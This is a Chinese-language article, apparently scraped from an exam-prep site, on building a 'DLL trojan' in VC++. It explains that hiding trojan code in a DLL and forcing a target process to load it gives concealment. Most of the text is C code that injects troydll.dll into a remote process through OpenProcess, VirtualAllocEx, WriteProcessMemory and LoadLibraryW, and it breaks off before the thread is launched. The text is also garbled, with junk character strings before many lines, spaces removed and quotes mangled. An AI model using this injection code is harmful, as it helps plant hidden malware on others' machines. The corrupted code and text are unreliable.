使用VC++动态链接库编程制作DLL木马

会计考友

　　DLL在程序编制中可作出巨大贡献，它提供了具共性代码的复用能力。但是，正如一门高深的武学，若被掌握在正义之侠的手上，便可助其仗义江湖；但若被掌握在邪恶之徒的手上，则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性，就不再是正常的DLL程序，而是DLL木马，一种恶贯满盈的病毒，令特洛伊一夜之间国破家亡。
3 ]6 P  O" F: _# G& O; A! q　　DLL木马的原理
　　DLL木马的实现原理是编程者在DLL中包含木马程序代码，随后在目标主机中选择特定目标进程，以某种方式强行指定该进程调用包含木马程序的DLL，最终达到侵袭目标系统的目的。
　　正是DLL程序自身的特点决定了以这种形式加载木马不仅可行，而且具有良好的隐藏性：
　　它将d盘根目录下的troydll.dll插入到ID为4000的进程中：
3 ]; N6 c/ L. v$ v. U2 I; o　　#includewindows.h
. D0 X; e8 l* o' D/ w  q! r　　#includestdlib.h
7 V* C$ ^0 a9 O( e　　#includestdio.h
　　voidCheckError(int，int，char*);//出错处理函数
　　PDWORDpdwThreadId;

会计考友

　　HANDLEhRemoteThread，hRemoteProcess;
$ Y" e/ E" Y2 e2 S' Y3 E　　DWORDfdwCreate，dwStackSize，dwRemoteProcessId;
　　PWSTRpszLibFileRemote=NULL;
$ A+ X# h# v0 D" @7 c- E3 t　　voidmain(intargc，char**argv)
( R$ X* P: Y9 m' q- i9 e　　{
　　intiReturnCode;
　　charlpDllFullPathName[MAX_PATH];
　　WCHARpszLibFileName[MAX_PATH]={0};
1 q1 R% R: u6 `6 L$ A, X　　dwRemoteProcessId=4000;
　　strcpy(lpDllFullPathName，“"d:““““troydll.dll“");
' G. r* z0 g% J3 }7 U' T& U　　//将DLL文件全路径的ANSI码转换成UNICODE码
　　iReturnCode=MultiByteToWideChar(CP_ACP，MB_ERR_INVALID_CHARS，
  S& s' D- W; X* ]/ G　　lpDllFullPathName，strlen(lpDllFullPathName)，
　　pszLibFileName，MAX_PATH);
　　CheckError(iReturnCode，0，“"MultByteToWideChar“");
　　//打开远程进程
! a7 }0 k: L9 N' G　　hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD//允许创建线程
　　PROCESS_VM_OPERATION//允许VM操作
+ S% c& h$ ]1 C, P* S! [+ k% \　　PROCESS_VM_WRITE，//允许VM写
　　FALSE，dwRemoteProcessId);
. \; t: {, ~. A: x  b. p6 Q　　CheckError((int)hRemoteProcess，NULL，“"RemoteProcessnotExistorAccessDenied!“");
# R, f9 B( Q! G　　//计算DLL路径名需要的内存空间
　　intcb=(1+lstrlenW(pszLibFileName))*sizeof(WCHAR);
　　pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess，NULL，cb，MEM_COMMIT，PAGE_READWRITE);
( q1 g% @- a" _5 E# X. d　　CheckError((int)pszLibFileRemote，NULL，“"VirtualAllocEx“");
+ [6 l7 i, C: |, {5 ]　　//将DLL的路径名复制到远程进程的内存空间
　　iReturnCode=WriteProcessMemory(hRemoteProcess，pszLibFileRemote，(PVOID)pszLibFileName，cb，NULL);
　　CheckError(iReturnCode，false，“"WriteProcessMemory“");
　　//计算LoadLibraryW的入口地址
　　PTHREAD_START_ROUTINEpfnStartAddr=(PTHREAD_START_ROUTINE)
' d9 n4 H5 B0 s' |7 z1 t　　GetProcAddress(GetModuleHandle(TEXT(“"Kernel32“"))，“"LoadLibraryW“");
　　CheckError((int)pfnStartAddr，NULL，“"GetProcAddress“");
- H% F1 r0 U$ a- b1 ~　　//启动远程线程，通过远程线程调用用户的DLL文件